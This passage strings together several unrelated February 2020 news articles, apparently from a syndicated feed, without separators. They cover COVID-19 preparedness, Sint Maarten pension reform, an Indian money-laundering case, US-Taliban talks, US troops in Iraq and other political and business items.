Business Standard staff and is auto-generated from a syndicated feed.) Page Content During this meeting, the Members reiterated their concerns pertaining to the draft Pension Reform Legislation that is being debated in Parliament. According to the members, Civil Servants will be adversely affected by changing the end salary pension to a middle salary pension structure, given that the salaries have not been adjusted over several years. In the meantime, public sector reform and stricter investment conditions are not being enforced. Minister Jacobs expressed her concerns with the fact that 25% of Civil Servants are already living below the unofficial Naf 4.000,00 poverty line. The Minister indicated to have asked the Department of Personnel to investigate adjusting the salaries of the lower scales in Government. The members asked the Minister to consider a few proposals and appealed to the Minister to critically examine the socio-economic impact the reform of the Pension will have on the Civil Servants. Minister Jacobs assured the Members that as a Civil Servant herself, she understands the importance and implications of this draft legislation. The Minister promised to answer the letter sent by the CCSU based on the consultation meeting with her predecessor on July 5th, 2019 and consider the proposals submitted by the members. The Minister requested a month for her staff to review the proposals and return with an answer. Also, during this meeting, the Minister provided an update on the situation with the Sint Maarten Fire Department. Members were informed that a Consultant has been hired to initiate the process of reviewing and amending the Function book of the Fire Department. The Minister also informed the Members that the repairs to the Fire Department building are in its final stage. The members of the CCSU are appointed every two years based on their official membership count. The CCSU consists of one member from the WICSU-PSU Mr. Riegnald Arrindell and his replacement member Mr. Franklin Mariana along with one member of the WITU Mrs. Claire Elshot-Aventurin and her replacement member Mr. Robert Rawlins for the 2018-2020 term. The CCSU is supported by a Secretariat consisting of four persons, the Chairlady Ms. Jessica Weeks, the Deputy Chairlady Ms. Sharon Cangieter, the General Secretary Ms. Suenah Laville and the Deputy General Secretary Ms. Nicole Maccow. Prime Minister Silveria Jacobs in her capacity as Minister of General Affairs, met with the Members of the Committee of Civil Servants Unions (CCSU) on Friday, February 7th, 2020. The purpose of this meeting was to discuss the draft Pension Reform Legislation and the Function Book of the Sint Maarten Fire Department. A nurse prepares medicine for coronavirus patients at Jinyintan Hospital in Wuhan, the epicenter of the outbreak, earlier this week. The respiratory illness has strained China's health-care system. Read more On Wednesday, hundreds of hospital leaders from Pennsylvania and across the country met with top federal public health officials in Washington to discuss preparedness for the coronavirus dubbed COVID-19. With 29 confirmed cases, including evacuees from a cruise ship in Japan, the United States is deemed at low risk of an outbreak of the respiratory illness, which emerged in late December in Wuhan, China. Most states, including Pennsylvania and New Jersey, have had no cases. Yet the mood at the Washington meeting was anything but complacent, said infectious-disease specialist Patrick J. Brennan, chief medical officer of the University of Pennsylvania Health System. Theres a tremendous amount thats unknown. For example, I asked about the duration of viral shedding, Brennan said Thursday, referring to the fact that people can release certain viruses they are carrying without showing symptoms. The answer is: We just dont know. Echoed another attendee, Mark Ross, vice president for emergency management at the Hospital and Healthsystem Association of Pennsylvania, There are still a lot of unanswered questions about transmissibility, about how long the virus lasts on surfaces, about asymptomatic infection. Protectors of public health are making coronavirus preparations based on experience with other diseases and guidance from the U.S. Centers for Disease Control and Prevention and the World Health Organization. But as scientific understanding of the virus evolves, experts wonder if those preparations will fall short. For example, if Philadelphia were to have a confirmed case, the Department of Public Health could immediately mobilize its four disease surveillance investigators to find and quarantine people who came in contact with the infected person. If more staff were needed, similarly trained workers would be enlisted. After two weeks the virus incubation period people with no fever or other symptoms would be presumed to be uninfected. The problem is that the CDC does not advise testing asymptomatic people even though this week it said people without symptoms can transmit the virus. That deduction was based on the rate of new infections among several hundred U.S. citizens who were evacuated from a cruise ship quarantined in Japan. Two recent reports in the New England Journal of Medicine also provide evidence of symptom-free transmission, a phenomenon that would make the job of containing the virus much more difficult. The fact is that testing is very limited at this point, partly because of the CDC suspected-case definition, and partly because of a lack of testing capacity, said James Garrow, spokesperson for Philadelphias health department. We are hamstrung by not having a fast, convenient screening test. READ MORE: How the coronavirus jumped to humans is a story as old as evolution On the positive side, Pennsylvania, and Philadelphia in particular, is well-equipped for an outbreak that might suddenly send a big wave of coronavirus patients to hospitals. When an Amtrak train derailed in 2015, Ross noted, 218 unannounced patients were rushed to Philadelphia hospitals without stressing the system. In China, the health system was under such strain that the government erected an emergency hospital in 10 days. So far, the country has reported more than 75,000 cases and 2,100 deaths; millions of Hubei province residents remain under virtual lockdown at home. Philadelphias medical centers also have the kind of high technology that is required for effective infection control (such as isolation rooms with special ventilation systems) and for critical respiratory care (such as heart-lung bypass machines called ECMO). Up to 30% of COVID-19 patients develop acute respiratory distress syndrome and may be candidates for ECMO, according to an article published in this weeks Journal of the American Medical Association. The authors cautioned that the technology is resource-intensive, highly specialized, and expensive. In recent years, state and local authorities have improved and broadened their emergency communication capabilities. The hospital association next month will repeat a coronavirus webinar on operational, legal and financial readiness. The city health department, which revised its pandemic flu plan in 2018, issues daily email updates on coronavirus to the media. The city also has alert networks including a secure, web-based system to disseminate information to officials, first responders, health-care providers, volunteers, and other partners, said Jessica Caum, manager of the health departments public health preparedness program. She added that this year, the health department held two workshops to figure out how to provide such everyday things as groceries and child care to people quarantined at home. It became clear with the [2014] Ebola cases in Texas that planning for that is important, Caum said. New Delhi, Feb 21 : The Enforcement Directorate (ED) has attached assets worth Rs 7.63 crore of the prime accused in the Rs 5,395 crore Surat hawala money laundering case. The agency said it has attached fixed deposits of businessman Madanlal Jain in connection with the case that also involves an alleged associate. The ED had registered a case under the Prevention of Money Laundering Act (PMLA) acting on the FIR of the Crime Branch of the Surat Police in 2014. Attached assets of Jain include immovable properties, namely 15 plots admeasuring 3,848.93 sq. metres worth Rs 4.80 crore located in Surat, held in the name of Rivertouch Resorts Pvt. Ltd, a company controlled by him. The ED also said that it has attached the bank balances totalling Rs 2.83 crore of Jain with Canara Bank in Mumbai. During investigation, it was revealed that amounts totalling Rs 5,395.75 crore were remitted to companies in UAE and Hong Kong on the basis of forged bills of entry through the accounts of nine companies in ICICI Bank in Surat, it said. "The main sources of credits in these accounts are from 8 entities -- Vandana & Co, Natural Trading Co, Maruti Trading, etc. having accounts in Axis Bank apart from around 469 other entities," the agency said. According to ED, eight entities having bank accounts in Axis Bank had received funds through various cheque discounters and a web of 2,700 companies. "Enquiries further revealed that Afroz Mohamed Hasanfatta, Jain, Bilal Haroon Gilani, Jayesh Desai, Rakesh Kothari were involved in the racket and they created shell companies using dummy persons as directors/partners," the agency said. During probe it was found that Jain earned commission for his role in the illegal transactions of foreign remittances made on the strength of fake bills of entry and he was the beneficiary of the proceeds of crime laundered and transferred from Indian companies to the accounts of the Mabrook Trading FZE, a company based at Dubai, on the strength of forged bill of entries, the central probe agency said. Earlier the ED had arrested Hasanfatta, Jain, Manish Shah, Kothari and Desai and attached their properties totalling Rs 26.55 crore and also filed five charge sheets against them a PMLA court in Ahmedabad. The total attachment in the case is Rs 34.18 crore. The ED, in March 2014, had busted a multi-crore hawala racket during their search operations in Surat offices of some diamond traders, including Fatta and Jain. It is alleged that instead of importing diamonds, the duo made bogus import bills, claiming that they have purchased the diamonds from foreign traders. Using these bills, it is alleged that the accused transferred money outside through their bank accounts, without a single diamond being imported to India. The leader of far-right political group Britain First has been charged with an offence under the Terrorism Act after refusing to give British police access to his phone. Paul Golding, 38, was stopped at Heathrow Airport, London in October on his way back from a trip to the Russian Parliament in Moscow by officers from London's Metropolitan Police Counter Terrorism Command. He refused to give the pin codes for a number of his electronic devices. Golding was later charged with refusing to comply with a duty under Schedule 7 of the act. He is due to appear at Westminster Magistrates Court next Thursday, February 27. In a statement Golding said he was not a terrorist and described the charges as an abuse of legislation. Schedule 7 allows police to interrogate, search and detain anyone for up to six hours at UK ports. It is designed to determine whether an individual is involved in the commission, preparation or instigation of acts of terrorism. In 2017, after a revision of their hate speech policies, Twitter suspended the account of Golding along with the account of fellow Britain First party member, Jayda Fransen. The official account of the British Political Party was also suspended. The same year, the British Electoral Commission statutorily deregistered the political party. In 2018, both Fransen and Golding were both found guilty of religiously aggravated harassment. Students at an elementary school in Hanoi are melting netizens hearts with the letters and drawings they have sent to support the children of Vinh Phuc, the northern Vietnamese province at the heart of the countrys novel coronavirus disease (COVID-19) epidemic. With the COVID-19 forcing authorities in the Vietnamese capital to keep schools closed until at least the end of February 23, Nguyen Cam Ly, a teacher at Tran Quoc Toan Elementary School in Hoan Kiem District, has been struggling with ideas for her six-year-old students to stay occupied at home. Lys eureka moment came on Sunday when she thought up the idea to have her students write letters or draw pictures they could send to their peers in Vinh Phuc, the province where 11 of Vietnams 16 confirmed COVID-19 patients reside. Of those 11 patients, more than half are from Son Loi, a commune of 10,600 people which has been sealed off since last Thursday to control the epidemic. Ly knew her students were aware of the situation in Vinh Phuc, but was completely taken by surprise what her students, just first graders, were able to express through their writing. A letter from a first-grade student at Tran Quoc Toan Elementary School in Hanoi to children in Vinh Phuc Province, Vietnam is seen in this provided photo. From the news, I learned that you guys lack food, drinks, and school supplies. I love you guys so much. I hope doctors will soon discover a medicine for the disease. Hang in there! one of her students wrote. Another student advised those in Vinh Phuc not to worry and stay healthy by drinking water, washing hands, and wearing face masks outside. [The novel] coronavirus will surrender, the handwritten letter proclaims optimistically. Ly said she was touched by her students adorable show of love, character, and humor in the face of adversity. I didnt think the assignment would be taken so seriously by my students. It was only assigned as an optional task during the temporary break, Ly told Tuoi Tre (Youth) newspaper. I was deeply touched. A drawing sent by a first-grade student at Tran Quoc Toan Elementary School in Hanoi to children in Vinh Phuc Province, Vietnam is seen in this provided photo. Ly explained that her students are still a long way off from learning how to write essays, but the letters are an important lesson on how emotion can be expressed in writing. Im so glad that this activity has been supported by their parents, she said. Thanks to activities like this, these children can begin to develop their writing skills. I was amazed by their creativity. But it was not just Lys students who learned from the assignment. Having been a teacher for 26 years, Im always looking for new activities or teaching methods so that families can rest assured their children are in good hands, she said. A drawing sent by a first-grade student at Tran Quoc Toan Elementary School in Hanoi to children in Vinh Phuc Province, Vietnam is seen in this provided photo. The novel coronavirus disease, officially named COVID-19 by the World Health Organization (WHO) last week, has killed 2,247 people and infected over 76,700 globally since it first surfaced in the Chinese city of Wuhan in December 2019, according to the South China Morning Post. Vietnam has so far confirmed 16 cases of the viral infection, including 13 Vietnamese, one Vietnamese American, and two Chinese. Among them, 14 have been discharged after making a full recovery while another patient, a Vietnamese American hospitalized in Ho Chi Minh City, is expected to be released on Friday afternoon. The country has recorded no new infection since Thursday last week. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! BAKU, Azerbaijan, Feb.21 By Nargiz Sadikhova - Trend: Kazakh citizens who were aboard the Diamond Princess ship, the biggest cluster of coronavirus cases outside mainland China, will soon return to Kazakhstan, Trend reports with reference to Kazakhstans Ministry of Foreign Affairs. Today (Feb. 21) two more Kazakh citizens left the Diamond Princess ship. They are currently in one of Tokyos hotels, the ministry said. The ministry added that all Kazakh citizens who left the ship were tested for coronavirus. The results came back negative. They are expected to return to Kazakhstan tomorrow (Feb. 22), the ministry said. The Diamond Princess cruise ship was quarantined after a passenger who disembarked in Hong Kong was confirmed to have the disease. Based on the latest data, the total number of passengers infected with coronavirus is 634 people, making the ship the biggest cluster of cases outside mainland China. The outbreak in the Chinese city of Wuhan - which is an international transport hub - began at a fish market in late December 2019. Since then over 2,200 people have died and over 76,700 people have been confirmed as infected. Some sources claim the coronavirus outbreak started as early as November 2019. The symptoms include cough, headache, fatigue, fever, aching and difficulty breathing. It is primarily spread through airborne contact or contact with contaminated objects. Chinese health authorities say that the majority of the people who have died were either elderly or had underlying health problems. Aside from Mainland China, the cases of coronavirus spreading have also been confirmed in Japan, Singapore, Thailand, South Korea, Hong Kong, Australia, Germany, the US, Malaysia, Taiwan, Vietnam, Macau, France, Canada, the UAE, India, Italy, Russia, Philippines, the UK, Nepal, Cambodia, Belgium, Spain, Finland, Sweden and Sri Lanka. --- Follow the author on twitter: @nargiz_sadikh (CNN) A seven-day reduction in violence in Afghanistan, negotiated by the US and the Taliban, is set to begin Friday night local time, the US State Department announced. "After decades of conflict, we have come to an understanding with the Taliban on a significant reduction in violence across Afghanistan. This is an important step on a long road to peace, and I call on all Afghans to seize this opportunity," Secretary of State Mike Pompeo tweeted Friday morning. The US is aiming for a peace deal to help execute President Donald Trump's desire to withdraw US troops from Afghanistan. The first step is expected to reduce the current level of troops from 12-13,000 to 8,600. Officials have stressed that such a reduction would be "conditions-based." Pompeo said Friday that the US is preparing for the signing of a US-Taliban agreement on February 29, contingent on the "successful implementation" of the reduction in violence. "Intra-Afghan negotiations will start soon thereafter, and will build on this fundamental step to deliver a comprehensive and permanent ceasefire and the future political roadmap for Afghanistan," he said. Two Afghan officials also confirmed the start date to CNN. In a statement Friday, the Taliban said it plans to sign the agreement with the US. Before the agreement is signed, both sides will work on creating a "suitable security situation" which will include arranging for a prisoner release that could pave the way for a "withdrawal of all foreign forces," the Taliban said in a statement. Defense Secretary Mark Esper first announced last week that the US and the Taliban had reached a proposal to decrease violence. A senior administration official, briefing reporters in Munich last week, described the reduction in violence agreement as "very specific" and said it includes language on "roadside bombs, suicide bombs, rocket attacks." That official suggested there would be a deconfliction channel with the US military, Afghans and the Taliban for the purposes of the monitoring compliance to the agreement. "We have a lot of means for monitoring the situation in Afghanistan, so all of them will be engaged," the official said, stressing the importance of such a channel given the possibility of "spoilers" to the agreement. "There are people who prefer the status quo to a peace agreement," the official said. "There are lots of people who benefit from the status quo and Afghanistan itself was very complex." US officials had previously expressed skepticism about the viability of such an agreement, given the Taliban negotiators cannot guarantee all Taliban fighters across Afghanistan would abide by the terms. The Taliban chain of command is loose in some areas. US officials were also concerned the ISIS affiliate in Afghanistan, ISIS-Khorasan, would take advantage of the agreement by encouraging younger Taliban members to join its fight against the US. The agreement comes amid continued attacks in Afghanistan and the announcement this week that President Ashraf Ghani is the official winner of the country's presidential elections after results were delayed for nearly five months. The number of attacks carried out by the Taliban and other anti-government forces reached a record high in the last three months of 2019, according to a report from the Special Inspector General for Afghanistan Reconstruction. Trump has long sought a comprehensive agreement with the Taliban, which could bring about a diminished US presence in the region. Friday's announcement comes following months of negotiations between US Special Representative for Afghanistan Reconciliation Zalmay Khalilzad and his team and Taliban negotiators in Doha. Khalilzad has met with key international and US stakeholders over the past several weeks. The US and the Taliban reached an agreement "in principle" in early September 2019, Trump's special envoy for Afghanistan said at the time. But shortly thereafter, Trump called off peace talks and said he canceled a secret Camp David summit with the militant group after they took credit for a deadly attack in Kabul that killed a US service member. In a surprise visit to Afghanistan in November, Trump announced that the talks had restarted. The US President made the announcement shortly after the Taliban released an American and Australian professor in exchange for the release of three Taliban prisoners by the Afghan government. The State Department announced in early December that Khalilzad had rejoined talked with the Taliban in Doha. The senior administration official last week credited Trump's decision to cancel the talks in September for the eventual reduction in violence agreement. "It was President Trump's tweet, and the subsequent standard he took, which says, we just need to have a significant and lasting reduction of violence before we finalize the agreement. And now we have a roadmap that has been agreed to give that," they said. This story was first published on CNN.com "Seven-day reduction in violence in Afghanistan to begin, US announces" (Photo : Screenshot From The Adkins Group, Inc. Facebook Page) Apple in trouble Even the second-largest producer of memory chips known as SK Hynix was not exempted from the chaos caused by the deadly coronavirus. SK Hynix has been in business with Apple supplying them RAM for quite a while. Still, because of contact between a single trainee and an infected civilian, they are ordering 800 of their employees to have self-quarantine, putting a part of the company's production at a halt. The coronavirus has already put quite a lot of industries within China at a halt because of precautionary measures for the safety of their citizens. Order from SK Hynix has become a necessary precautionary measure According to SK Hynix one of their trainees had met a patient in Daegu, which is a city in South Korea known to be the center of the coronavirus outbreak. This led to a chain of events that would delay their production and therefore resulting in a delay in the release of certain products. Read Also: China's Alarming Carbon Emissions Reduced, Thanks to Coronavirus COVID-19! Although SK Hynix has an 18,000 person workforce, their factories are designed to function at so much efficiency that even with 800 employees done, a possible delay in deliveries could happen. South Korea already has 104 people reported infected and has already experienced one single death just this Wednesday, Feb. 19. SK Hynix is not the only company suffering from cases like this There have been similar cases across the globe, especially in China, where even certain businesses have pulled out their investment just for the sake of safety. The yearly trade shows which boost China's the production and business opportunities have been canceled this year, and it looks like most companies will miss their target release dates on certain products. Apple might be directly affected by the Coronavirus Apple has already pulled out a couple of factories in China, and because of the additional delay from South Korea, Apple might miss its forecasts, which could result in a dip in profits. Aside from Apple, there are many other sectors of the Ttechindustry that are deeply affected by the struggling production because of the Coronavirus. Other sectors of the tech industry are deeply affected Smartphone production alone is predicted to go down by 12 percent year-on-year this very quarter, which means it will be the first time production has dropped that low in five years. Fiber optics will have a huge drop because of how most fiber optic suppliers are based in Wuhan. Wuhan contributed a strong 25% in the production of fiber optics. Even China's 5G rollout is expected to be affected. Video game manufacturers will be having a hard time beating the low cost of manufacturing their games and consoles in China. Even Sony's very own PS5 is having problems with the pricing. Read Also: Watch: Expert Says Coronavirus COVID-19 Quarantine Procedures in Diamond Princess are 'Completely Chaotic' The crippling Coronavirus is getting stronger Aside from just the public health concern of this virus, the economic status of certain sectors is also gravely affected. Tech companies are already on the move to look for more stable suppliers amidst the Coronavirus. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Elizabeth Warren wasnt playing around Wednesday night. Forget jabs. She threw roundhouse after roundhouse at her rivals at the Democratic presidential debate in Las Vegas, landing some of the most devastating blows on Mike Bloomberg and setting the tone for a raucous night. Democrats take a huge risk if we just substitute one arrogant billionaire for another, Warren said while standing next to said billionaire, Bloomberg. It was her most combative debate performance yet. But it might have seemed familiar to Doug Baird, a legal scholar raised in Montgomery County, who debated Warren decades ago on the finer points of bankruptcy law. We spoke to Baird a few months back for our deep dive into Warrens time as a student at Rutgers Law School and a professor at University of Pennsylvania Law School. While her politics were still forming at the time, her feisty, combative side was already clear to those who scrapped with her in the legal world. One of the things shes really good at in the debate and that I found very, very hard to contend with is, shes very good at putting forth arguments that cant be dismissed in a soundbite, even if you thought they were wrong, said Baird, now a University of Chicago Law School professor. If you have to back up and take a couple minutes to explain why what she said isnt right, youve already lost. Baird said that feeling was something he fumed about privately while he and Warren argued in the academic world in the 1980s, at a time when she was a rising star at Penn. Heres what we wrote in November: Other enduring aspects of her public persona, however, were already clear, including her vigor and the spiky debate attitude she carried from years as a high school debate champion. A good fight is far more interesting than a host of polite compliments and careful hedgings, Warren wrote during one clash of ideas in the 1987 University of Chicago Law Review. She now hammers rivals for being afraid to battle for big ideas, while they charge she is disdainful of those with different views. That line came as part of dueling law review articles she and Baird wrote. Until Wednesday, Warren had largely directed her debate fire at President Donald Trump and general corruption" in politics and the economy, not her Democratic rivals. But with her campaign struggling, they all got a taste of the heat Baird once confronted. We dont know yet if Warren did enough to revive her chances of winning the nomination she had a strong night, but Bernie Sanders remains the front-runner and took little fire. Meanwhile, she left many of the more moderate candidates with bruises that wont soon fade, with sharp lines for Pete Buttigieg and Amy Klobuchar, also. Mostly notably, though, she eviscerated Bloomberg, the latest hope of the center-left establishment. And that might be counted as a win for Sanders, too. Read our full story on Warrens days at Rutgers and Penn here. Stockholm [Sweden], Feb 21 (ANI): Union Road Transport Minister Nitin Gadkari has said that 11 per cent of deaths in the world due to road accidents take place in India alone. He made the comments on Wednesday while addressing the '3rd High-Level Global Conference on Road Safety for Achieving Global Goals 2030' in Stockholm which was attended by 1,700 delegates from 140 countries. Gadkari also mentioned that the approach of alignment of Sustainable Development Goals (SDGs) with Road Safety espoused by the United Nations is particularly relevant for countries like India where the problem of safety is also linked to social equity. Since the global climate issue is always high on the agenda, the Union Minister highlighted India's moves towards biofuel, electric vehicles and e-highways. During the visit, Gadkari also held bilateral meetings with the Swedish Minister for Infrastructure Tomas Enerothand and Minister of Foreign Trade Anna Hallberg. They discussed mutual cooperation between the two countries in the MSME sector and exchanged ideas on sustainable infrastructure to improve lives in both countries. Sweden India Transport Innovation and Safety (SITIS) partnership was also launched in Stockholm in the presence of Union Minister and Minister Tomas Eneroth on Thursday. SITIS aims to achieve by bringing together organisations leading in the safety arena from Sweden and India. Meanwhile, a reception was hosted by Indian Ambassador Monika Kapil Mohta in honour of the transport minister. At the reception, Mattias Landgren, State Secretary to the Minister for Infrastructure said that he found Gadkari very 'innovative in his approach and inspiring in his style'. He also said that Sweden-India relations are extremely good like they have never been before. (ANI) Replacing the US troops withdrawing from the country with a NATO training mission could be Iraqs best option, for now A Katyusha rocket slammed into an Iraqi base in the northern city of Kirkuk last week in the latest of a string of attacks in recent week on camps where US troops are stationed across the country. It was the first attack on the camp since 27 December, when a volley of around 30 rockets killed a US contractor and unleashed dramatic escalation. Multiple rockets hit near the US Embassy in Baghdad early on Sunday sending warning sirens blaring across the huge diplomatic compound in the fortified Green Zone in the Iraqi capital. The recent violence followed a series of tit-for-tat attacks including an American drone strike which killed top Iranian general Qassem Suleimani and Iraqi militia commander Abu Mahdi Al-Muhandis in Baghdad in January, highlighting the crisis between the United States and Iraq over the presence of thousands of US troops in the country. In response, Iran fired at least 10 ballistic missiles at the sprawling Iraqi Ain Al-Assad Base in the desert more than 100 miles northwest of Baghdad. The attack caused considerable damage to the camp and left dozens of US service personnel suffering from traumatic brain injuries. The escalation comes amid uncertainty in Iraq triggered by a nearly six-month-old anti-establishment and anti-Iran popular uprising and a government crisis that has paralysed the country and undermined its fragile political order. It comes as no surprise, however, that the issue of the US troop presence in Iraq has taken such centre stage, as turmoil in Iraq and US-Iran tensions have been building for months, leading to fears of a renewal of the Islamic State (IS) group insurgency. Still, whether the United States should withdraw from Iraq has raised some serious questions: Is Iraq ready for the withdrawal? Does the United States want to pull out? What a withdrawal from Iraq would look like, what are the consequences of the withdrawal for the regional and worlds geopolitics? The US has partnered with Iraq since 2014 to take back territory from IS control, and today more than 5,000 US troops train, advise and assist the Iraqi security forces in making sure the group does not regain territory in the country. The Iraqi parliament voted last month to ask the government to remove US troops from Iraq. In an extraordinary session, the lawmakers backed a resolution to end the 2014 agreement that authorised the US deployment in Iraq. Iraqs caretaker government has not yet initiated a formal process to kick the US troops out of the country, but reports suggest that the Iraqi authorities have told the countrys military not to seek assistance from the US-led Coalition in operations against the IS terror group. However, sharp disputes have emerged between the pro-Iran Shia blocs that dominate the parliament and are pushing to expel the US troops and others that argue that a full withdrawal could pave the way for terrorist groups to reestablish a safe haven in Iraq. Iranian officials, meanwhile, have been vocal about the Islamic Republics strategy following Suleimanis killing in ultimately forcing the US to exit Iraq. The countrys minority Kurdish and Sunni political groups and some Shia groups and politicians have said that the removal of the US forces could trigger a backlash and create a serious security vacuum. The question, therefore, remains as to whether Iraq is prepared for the US troop withdrawal without risking more violence and insecurity because of communal divisions, political instability, Iranian interference and the risk of an IS comeback. While Iraq remains in a stalemate over a new government that is expected to make a final decision on the future of the US military presence soon, conflicting signals have been coming from Iraqs military as to whether it is ready to take the security challenge. On the ground, the Iraqi security forces have resumed joint operations with the US-led Coalition to counter IS after a nearly three-week pause after the parliaments decision. Last week the Iraqi joint command said it had launched a major offensive to hunt down IS militants in Iraqs western Anbar province and border areas with neighbouring Syria and Jordan while making no mention of the participation of the US-led Coalition. For the United States, the issue is also no less complex and controversial. US officials including Secretary of State Mike Pompeo have publicly said that Washington has no intention of leaving Iraq, let alone negotiating a withdrawal agreement. The question of whether US troops should leave or stay is also looming large over the US presidential elections to take place later this year. In 2016, US President Donald Trump was elected in part because he promised to end the endless wars and bring US forces home from Iraq and other Middle Eastern conflicts. Last week, the US Senate approved a bill curbing Trumps ability to wage war on Iran without congressional approval. If endorsed, the Iran War Powers Resolution would restrict Trumps ability to use US troops in Iraq for that purpose. But in order for the Trump administration to have a viable strategy against both the IS threat and Iran, it will need to determine what it intends to do with the US troops in Iraq. Discussions about the future of the US presence in Iraq is also occupying a prominent role on both regional and international agendas, with the focus on how it will shape Middle East geopolitics. The Arab allies of the US and Israel are not hiding their concerns that a US withdrawal from Iraq could create a gap that could be filled by Iran, and they are implicitly urging Washington to reflect on the possible regional implications of its decision. Washingtons western allies are also apprehensive and fear that a US withdrawal from Iraq would help to upend power structures in the Middle East, impacting their security and interests. The overarching question for US allies like Britain, Canada, France, Germany and Norway, also members of the anti-IS International Coalition, is whether a US withdrawal from Iraq would mean leaving the Middle East to non-western powers such as Russia, Turkey and Iran. Many of these countries are concerned over their participation in the coalition as the future of US military personnel in Iraq remains unclear. Such uncertainty for them represents a critical challenge for Middle Eastern and international security. Given the complexity of the problem and its multidimensional impact, the parties will want to find an acceptable way out. A solution will probably come from NATO, which has offered an option that could be acceptable to both Baghdad and Washington. NATO Secretary-General Jens Stoltenberg declared last week that the organisation would take over some of the training activities currently carried out by the US-led Coalition against IS in Iraq. Stoltenberg said that alliance defence ministers had agreed in principle to enhancing NATOs mission in Iraq, explaining that this will consist of taking on some of the global coalitions current training activities. The expansion of the NATO mission would allow Washington to reduce its military footprint in Iraq and allow Baghdad to claim that it had complied with the parliaments decision to expel the US troops. NATO already has non-combatant train-and-advise missions in Iraq that aim to develop the Iraqi security forces, but these have been suspended over fears for regional stability after Suleimanis and Al-Muhandiss killing in Baghdad on 3 January. If there is further NATO involvement, all the Coalition troops in Iraq, including the Americans, could move to work under a NATO flag once the alliances Iraq mission restarts and Iraqs new government gives its consent to the new arrangement. In order to facilitate such an understanding, the US last week granted Iraq a 45-day sanctions waiver enabling the country to continue importing vital Iranian gas and electricity supplies to assuage an electricity shortfall and meet growing power needs. The new waiver gives Iraq just 45 days to do so, instead of previous waivers that gave Iraq 120 days. The US has applied stringent sanctions on Iran that punish any country trading with it. Yet, by cutting the waiver period short, Washington is dangling a carrot before Iraq while still holding the stick of sanctions in its hands. Trump has threatened severe sanctions against Iraq if US forces are asked to depart on an unfriendly basis. He said any sanctions on Iraq would make the Iranian sanctions look somewhat tame. While it is still being worked out, a NATO training mission could be a cover up for the US troops to remain in Iraq. The expected scenario will see US army in the diving seat of the allies operation in Iraq while disguised as NATO soldiers. Practically speaking, therefore, the NATO mission could be Iraqs best option to quell opposition to the American presence and save Iraq from sharp domestic division and growing regional turmoil. Opponents to a premature departure of US troops will certainly sign on seeing the NATO alternative as a guarantor for stability in crisis ravaged Iraq and a deterrence against Iran which will most certainly try to fill the void left by Americas withdrawal to increase its influence in Iraq. However, it remains to be seen whether the pro-Iran Shia political groups that are avowedly committed to seeing the US troops leaving will put Iraqs interests first and avoid a major crisis by accepting such a face-saving compromise. *A version of this article appears in print in the 20 February, 2020 edition of Al-Ahram Weekly. Search Keywords: Short link: TOLEDO, Ohio, Feb. 21, 2020 /PRNewswire/ -- Welltower Inc. (NYSE: WELL) today announced that its Chairman and CEO, Thomas J. DeRosa, will present the Company's long-term plan at CECP's (Chief Executives for Corporate Purpose) 8th CEO Investor Forum on Monday, February 24th in Manhattan. CECP is a CEO-led coalition of more than 200 of the world's largest corporations representing $7 trillion in annual revenues, $21.2 billion in social investment, 14 million employees, 23 million hours of employee engagement, and $15 trillion in assets under management. Other participants in the CEO Investor Forum will include Alex Gorsky, Chairman and CEO of Johnson & Johnson, David Abney, CEO of UPS, Andre Calantzopoulos, CEO of PMI, and Scott G. Stephenson, Chairman, President and CEO of Verisk Analytics. CECP's CEO Investor Forum is a platform for CEOs of leading companies to present their long-term plans to institutional investors. The audience attracts over 200 institutional investors that typically represent over $25 trillion in assets under management. A link to a live web stream can be found here - Welltower CEO Investor Forum Presentation. "As Welltower enters its 50th year, it is an honor for me to have been selected by CECP to present our long-term plan at this prestigious gathering of corporate leaders and major institutional investors," said DeRosa. "In line with CECP's mission, Welltower is addressing societal challenges by delivering a built environment better capable of managing the health and wellness needs of at-risk populations including seniors." Since the CEO Investor Forum began, more than 30 CEOs have either delivered or committed to deliver long-term plan presentations, representing over $2 trillion in market capitalization. In September 2018, CECP and Professor George Serafeim of Harvard Business School and KKS Advisors, published a report, The Economic Significance of Long-Term Plans, which offers a preliminary analysis of the positive impact quality long-term presentations can have on the market's reaction to CEO engagement. About Welltower Welltower Inc. (NYSE: WELL), an S&P 500 company headquartered in Toledo, Ohio, is driving the transformation of health care infrastructure. The Company invests with leading seniors housing operators, post-acute providers and health systems to fund the real estate infrastructure needed to scale innovative care delivery models and improve people's wellness and overall health care experience. Welltower, a real estate investment trust ("REIT"), owns interests in properties concentrated in major, high-growth markets in the United States, Canada and the United Kingdom, consisting of seniors housing and post-acute communities and outpatient medical properties. More information is available at welltower.com. About CECP Chief Executives for Corporate Purpose (CECP) is a CEO-led coalition that believes that a company's social strategy how it engages with key stakeholders including employees, communities, investors, and customers determines company success. Founded in 1999 by actor and philanthropist Paul Newman and other business leaders to create a better world through business, CECP has grown to a movement of more than 200 of the world's largest companies that represent $6.6 trillion in revenues, $21.2 billion in social investment, 14 million employees, 23 million hours of employee engagement, and $15 trillion in assets under management. CECP helps companies transform their social strategy by providing customized connections and networking, counsel and support, benchmarking and trends, and awareness building and recognition. SOURCE Welltower Inc. Related Links http://www.welltower.com Union minister of state for consumer affairs, Food and public distribution, Raosaheb Danve Patil said on Friday that a solution would be worked out soon for the nearly 18,000 tonnes of imported onions that were continuing to lie idle, one month after arrival at the ports. In view of the needs of the market and based on the demand from different state governments, the Union government had decided to import onions from Turkey, Holland and Egypt. We have so far imported 35,000 metric tonnes of onion out of which nearly 17,000 metric tonnes have been distributed. Further process is underway in a fast track manner, he said. He said talks were on with the Maharashtra government and a solution would be worked out soon. The onions were imported from Turkey, Holland and Egypt when the country was facing short supply and high prices. However, by the time the onions arrived at the ports last month, prices had dropped substantially. With onion rates having dropped sharply to Rs 15 -20 per kg in almost all the wholesale markets in Maharashtra, the state has declined to procure the imported onions which cost more than Rs 45 per kg. Officials from the Maharashtra government said that although they had demanded the onion imports from the Centre, by the time the onions arrived, prices had dropped sharply and the higher priced imported onions were also not suited to the Indian palate. Tripura health department is maintaining a close vigil of those who have returned from the corona virus affected countries and have asked them to go for medical check ups in government hospitals, a statement issued by it said on Friday. The department has identified 22 such persons who have recently returned from China, Singapore and Thailand, it said. As per the instructions of the government, vigil is being maintained on those who have travelled to corona virus- affected countries like China, Hong Kong, Singapore and Thailand after January 15, 2020, it added. When contacted the director of health and family welfare department, Radha Debbarma said, There are no positive cases". The statement said, "There is no need to be unnecessarily anxious. Nobody in our state has been infected with novel corona virus. Neither have we identified any suspected patient till now. "The health department is maintaining a 